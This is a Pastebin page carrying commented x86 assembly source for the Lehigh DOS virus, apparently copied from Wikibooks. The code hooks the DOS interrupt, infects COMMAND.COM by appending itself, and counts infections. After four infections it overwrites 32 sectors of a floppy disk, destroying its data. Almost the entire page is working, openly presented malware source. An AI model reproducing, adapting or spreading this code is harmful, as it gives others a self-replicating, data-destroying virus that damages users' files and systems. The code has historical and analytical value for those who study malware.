Advertisement
FlyFar

Lehigh Virus Source Code

Feb 24th, 2023
2,478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 Kick Assembler 8.92 KB | Cybersecurity | 0 0
  1. CODE    SEGMENT BYTE PUBLIC 'CODE'
  2.     ASSUME CS:CODE,DS:CODE
  3.  
  4.     ; Interrupt 21H routine
  5.  
  6. BP0010: PUSH    AX
  7.     PUSH    BX
  8.     CMP AH,4BH          ; Load function?
  9.     JE  BP0020          ; Branch if yes
  10.     CMP AH,4EH          ; Find file file?
  11.     JE  BP0020          ; Branch if yes
  12.     JMP BP0170          ; Pass interrupt on
  13.  
  14.     ; Load or find file function
  15.  
  16. BP0020: MOV BX,DX           ; Get pathname pointer
  17.     CMP BYTE PTR [BX+1],':' ; Is a disk specified?
  18.     JNE BP0030          ; Branch if not
  19.     MOV AL,[BX]         ; Get disk letter
  20.     JMP BP0040
  21.  
  22.     ; Is there a COMMAND.COM on disk?
  23.  
  24. BP0030: MOV AH,19H          ; Get current disk function
  25.     INT 44H         ; DOS service (diverted INT 21H)
  26.     ADD AL,'a'          ; Convert to letter
  27. BP0040: PUSH    DS
  28.     PUSH    CX
  29.     PUSH    DX
  30.     PUSH    DI
  31.     PUSH    CS          ; \ Set DS to CS
  32.     POP DS          ; /
  33.     MOV BX,OFFSET PATHNM    ; Address pathname
  34.     MOV [BX],AL         ; Store disk letter in pathname
  35.     MOV DX,BX           ; Move pathname address
  36.     MOV AX,3D02H        ; Open handle (R/W) function
  37.     INT 44H         ; DOS service (diverted INT 21H)
  38.     JNB BP0050          ; Branch if no error
  39.     JMP BP0160          ; Restore registers and terminate
  40.  
  41.     ; Is COMMAND.COM infected?
  42.  
  43. BP0050: MOV BX,AX           ; Move file handle
  44.     MOV AX,4202H        ; Move file pointer function (EOF)
  45.     XOR CX,CX           ; \ No offset
  46.     MOV DX,CX           ; /
  47.     INT 44H         ; DOS service (diverted INT 21H)
  48.     MOV DX,AX           ; Copy file length
  49.     MOV FILELN,AX       ; Save file length
  50.     SUB DX,2            ; Address last word of file
  51.     MOV AX,4200H        ; Move file pointer function (start)
  52.     INT 44H         ; DOS service (diverted INT 21H)
  53.     MOV DX,OFFSET BUFFER    ; Address read buffer
  54.     MOV CX,2            ; Length to read
  55.     MOV AH,3FH          ; Read handle function
  56.     INT 44H         ; DOS service (diverted INT 21H)
  57.     CMP WORD PTR BUFFER,65A9H   ; Is file infected?
  58.     JNE BP0060          ; Branch if not
  59.     JMP BP0080
  60.  
  61.     ; Infect COMMAND.COM
  62.  
  63. BP0060: XOR DX,DX           ; \ No offset
  64.     MOV CX,DX           ; /
  65.     MOV AX,4200H        ; Move file pointer function (start)
  66.     INT 44H         ; DOS service (diverted INT 21H)
  67.     MOV CX,3            ; Length to read
  68.     MOV DX,OFFSET BUFFER    ; Address read buffer
  69.     MOV DI,DX           ; Copy address
  70.     MOV AH,3FH          ; Read handle function
  71.     INT 44H         ; DOS service (diverted INT 21H)
  72.     MOV AX,[DI+1]       ; Get displacement from initial jump
  73.     ADD AX,0103H        ; Convert to address for COM file
  74.     MOV ENTPTR,AX       ; Save file entry address
  75.     MOV DX,FILELN       ; Get file length
  76.     SUB DX,OFFSET ENDADR    ; Subtract length of virus
  77.     DEC DX          ; ...and one more
  78.     MOV [DI],DX         ; Put offset into jump instruction
  79.     XOR CX,CX           ; Clear high offset for move
  80.     MOV AX,4200H        ; Move file pointer function (start)
  81.     INT 44H         ; DOS service (diverted INT 21H)
  82.     MOV AL,INFCNT       ; Get infection count
  83.     PUSH    AX          ; Preserve infection count
  84.     MOV BYTE PTR INFCNT,0   ; Set infection count to zero
  85.     MOV CX,OFFSET ENDADR    ; \ Get length of virus
  86.     INC CX          ; /
  87.     XOR DX,DX           ; Address start of virus
  88.     MOV AH,40H          ; Write handle function
  89.     INT 44H         ; DOS service (diverted INT 21H)
  90.     POP AX          ; Recover infection count
  91.     MOV INFCNT,AL       ; Restore original infection count
  92.     XOR CX,CX           ; \ Address second byte of program
  93.     MOV DX,1            ; /
  94.     MOV AX,4200H        ; Move file pointer function (start)
  95.     INT 44H         ; DOS service (diverted INT 21H)
  96.     MOV AX,[DI]         ; Get virus offset
  97.     ADD AX,OFFSET BP0180    ; Add entry point
  98.     SUB AX,3            ; Subtract length of jump instruction
  99.     MOV [DI],AX         ; Replace offset
  100.     MOV DX,DI           ; Address stored offset
  101.     MOV CX,2            ; Length to write
  102.     MOV AH,40H          ; Write handle function
  103.     INT 44H         ; DOS service (diverted INT 21H)
  104.     INC BYTE PTR INFCNT     ; Increment infection count
  105.     CMP BYTE PTR INFCNT,4   ; Have we reached target?
  106.     JB  BP0070          ; Branch if not
  107.     JMP BP0110          ; Trash disk
  108.  
  109.     ; Is disk A or B?
  110.  
  111. BP0070: MOV BYTE PTR N_AORB,0   ; Set off "not A or B" switch
  112.     CMP BYTE PTR CURDSK,2   ; Is current disk A or B?
  113.     JB  BP0080          ; Branch if yes
  114.     MOV BYTE PTR N_AORB,1   ; Set on "not A or B" switch
  115. BP0080: MOV AH,3EH          ; Close handle function
  116.     INT 44H         ; DOS service (diverted INT 21H)
  117.     CMP BYTE PTR N_AORB,1   ; Is "not A or B" switch on?
  118.     JE  BP0090          ; Branch if yes
  119.     JMP BP0160          ; Restore registers and terminate
  120.  
  121.     ; Disk not A or B
  122.  
  123. BP0090: MOV BYTE PTR N_AORB,0   ; Set off "not A or B" switch
  124.     MOV BX,OFFSET PATHNM    ; Address pathname
  125.     MOV AL,CURDSK       ; Get current disk
  126.     ADD AL,'a'          ; Convert to letter
  127.     MOV [BX],AL         ; Store letter in pathname
  128.     MOV DX,BX           ; Move pathname address
  129.     MOV AX,3D02H        ; Open handle (R/W) function
  130.     INT 44H         ; DOS service (diverted INT 21H)
  131.     JNB BP0100          ; Branch if no error
  132.     JMP BP0160          ; Restore registers and terminate
  133.  
  134.     ; Set infection count same as in current program
  135.  
  136. BP0100: MOV BX,AX
  137.     MOV AX,4202H        ; Move file pointer function (EOF)
  138.     XOR CX,CX           ; \ No offset
  139.     MOV DX,CX           ; /
  140.     INT 44H         ; DOS service (diverted INT 21H)
  141.     MOV DX,AX           ; \ Address back to infection count
  142.     SUB DX,7            ; /
  143.     MOV AX,4200H        ; Move file pointer function (start)
  144.     INT 44H         ; DOS service (diverted INT 21H)
  145.     MOV CX,1            ; Length to write
  146.     MOV DX,OFFSET INFCNT    ; Address infection count
  147.     MOV AH,40H          ; Write handle function
  148.     INT 44H         ; DOS service (diverted INT 21H)
  149.     MOV AH,3EH          ; Close handle function
  150.     INT 44H         ; DOS service (diverted INT 21H)
  151.     JMP BP0160          ; Restore registers and terminate
  152.  
  153.     ; Trash disk
  154.  
  155. BP0110: MOV AL,CURDSK       ; Get current disk
  156.     CMP AL,2            ; Is disk A or B?
  157.     JNB BP0150          ; Branch if not
  158.     MOV AH,19H          ; Get current disk function
  159.     INT 44H         ; DOS service (diverted INT 21H)
  160.     MOV BX,OFFSET PATHNM    ; Address pathname
  161.     MOV DL,[BX]         ; Get drive letter from pathname
  162.     CMP DL,'A'          ; Is drive letter 'A'?
  163.     JE  BP0120          ; Branch if yes
  164.     CMP DL,'a'          ; Is drive letter 'a'?
  165.     JE  BP0120          ; Branch if yes
  166.     CMP DL,'b'          ; Is drive letter 'b'?
  167.     JE  BP0130          ; Branch if yes
  168.     CMP DL,'B'          ; Is drive letter 'B'?
  169.     JE  BP0130          ; Branch if yes
  170.     JMP BP0160          ; Restore registers and terminate
  171.  
  172.     ; Drive A
  173.  
  174. BP0120: MOV DL,0            ; Set drive A
  175.     JMP BP0140
  176.  
  177.     ; Drive B
  178.  
  179. BP0130: MOV DL,1            ; Set drive B
  180. BP0140: CMP AL,DL           ; Is this the same as current?
  181.     JNE BP0150          ; Branch if not
  182.     JMP BP0160          ; Restore registers and terminate
  183.  
  184.     ; Write lump of BIOS to floppy disk
  185.  
  186. BP0150: MOV SI,0FE00H       ; \ Address BIOS (?)
  187.     MOV DS,SI           ; /
  188.     MOV CX,0020H        ; Write 32 sectors
  189.     MOV DX,1            ; Start at sector one
  190.     INT 26H         ; Absolute disk write
  191.     POPF
  192.     MOV AH,9            ; Display string function
  193.     MOV DX,1840H
  194.     INT 44H         ; DOS service (diverted INT 21H)
  195. BP0160: POP DI
  196.     POP DX
  197.     POP CX
  198.     POP DS
  199. BP0170: POP BX
  200.     POP AX
  201.     JMP CS:INT_21       ; Branch to original Int 21H
  202.  
  203.     ; Original Int 21H vector
  204.  
  205. INT_21  EQU THIS DWORD
  206.     DW  138DH           ; Int 21H offset
  207.     DW  0295H           ; Int 21H segment
  208.  
  209.     ; Entry point for infected program
  210.  
  211. BP0180: CALL    BP0190          ; \ Get current address
  212. BP0190: POP SI          ; /
  213.     SUB SI,3            ; Address back to BP0180
  214.     MOV BX,SI           ; \ Address of virus start
  215.     SUB BX,OFFSET BP0180    ; /
  216.     PUSH    BX          ; Save address of virus start
  217.     ADD BX,OFFSET FILELN    ; Address file length
  218.     MOV AH,19H          ; Get current disk function
  219.     INT 21H         ; DOS service
  220.     MOV [BX-1],AL       ; Save current disk
  221.     MOV AX,[BX]         ; Get file length
  222.     ADD AX,0100H        ; Add PSP length
  223.     MOV CL,4            ; \ Convert to paragraphs
  224.     SHR AX,CL           ; /
  225.     INC AX          ; Allow for remainder
  226.     MOV BX,AX           ; Copy paragraphs to keep
  227.     MOV AH,4AH          ; Set block function
  228.     INT 21H         ; DOS service
  229.     JNB BP0200          ; Branch if no error
  230.     JMP BP0220          ; Pass control to host
  231.  
  232.     ; Allocate memory for virus
  233.  
  234. BP0200: MOV CL,4            ; Bits to move
  235.     MOV DX,OFFSET ENDADR    ; Length of virus
  236.     SHR DX,CL           ; Convert to paragraphs
  237.     INC DX          ; Allow for remainder
  238.     MOV BX,DX           ; Copy paragraphs for virus
  239.     MOV AH,48H          ; Allocate memory function
  240.     INT 21H         ; DOS service
  241.     JNB BP0210          ; Branch if no error
  242.     JMP BP0220          ; Pass control to host
  243.  
  244.     ; Install virus in memory
  245.  
  246. BP0210: PUSH    ES
  247.     PUSH    AX          ; Preserve allocated memory segment
  248.     MOV AX,3521H        ; Get Int 21H function
  249.     INT 21H         ; DOS service
  250.     MOV [SI-4],BX       ; Save Int 21H offset
  251.     MOV [SI-2],ES       ; Save Int 21H segment
  252.     POP ES          ; Recover allocated memory segment
  253.     PUSH    SI
  254.     SUB SI,OFFSET BP0180    ; Address back to start of virus
  255.     XOR DI,DI           ; Target start of new area
  256.     MOV CX,OFFSET ENDADR    ; \ Length of virus
  257.     INC CX          ; /
  258.     REPZ    MOVSB           ; Copy virus to new area
  259.     POP SI
  260.     PUSH    DS
  261.     MOV DX,[SI-4]       ; Get Int 21H offset
  262.     MOV AX,[SI-2]       ; \ Set DS to Int 21H segment
  263.     MOV DS,AX           ; /
  264.     MOV AX,2544H        ; Set Int 44H function
  265.     INT 21H         ; DOS service
  266.     PUSH    ES          ; \ Set DS to ES
  267.     POP DS          ; /
  268.     XOR DX,DX           ; Interrupt 21H routine (BP0010)
  269.     MOV AX,2521H        ; Set Int 21H function
  270.     INT 44H         ; DOS service (diverted INT 21H)
  271.     POP DS
  272.     POP ES
  273. BP0220: POP BX
  274.     PUSH    ENTPTR[BX]      ; Push COM file entry address
  275.     RET             ; ...and return to it
  276.  
  277. PATHNM  DB  'b:\command.com', 0 ; Pathname
  278. BUFFER  DB  7FH, 58H, 0BH, 0, 0 ; Read buffer
  279. ENTPTR  DW  0CB0H           ; File entry address
  280. N_AORB  DB  0           ; "Not A or B" switch
  281. INFCNT  DB  0           ; Infection count
  282.     DB  0
  283. CURDSK  DB  0           ; Current disk
  284. FILELN  DW  5AAAH           ; File length
  285.     DW  65A9H           ; Infection indicator
  286.  
  287. ENDADR  EQU $-1
  288.  
  289. CODE    ENDS
  290.  
  291.     END
  292.  
  293. Last edited 6 years ago by JackBot
  294. Wikibooks
  295. Content is available under CC BY-SA 3.0 unless otherwise noted.
  296. Privacy policy Terms of UseDesktop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement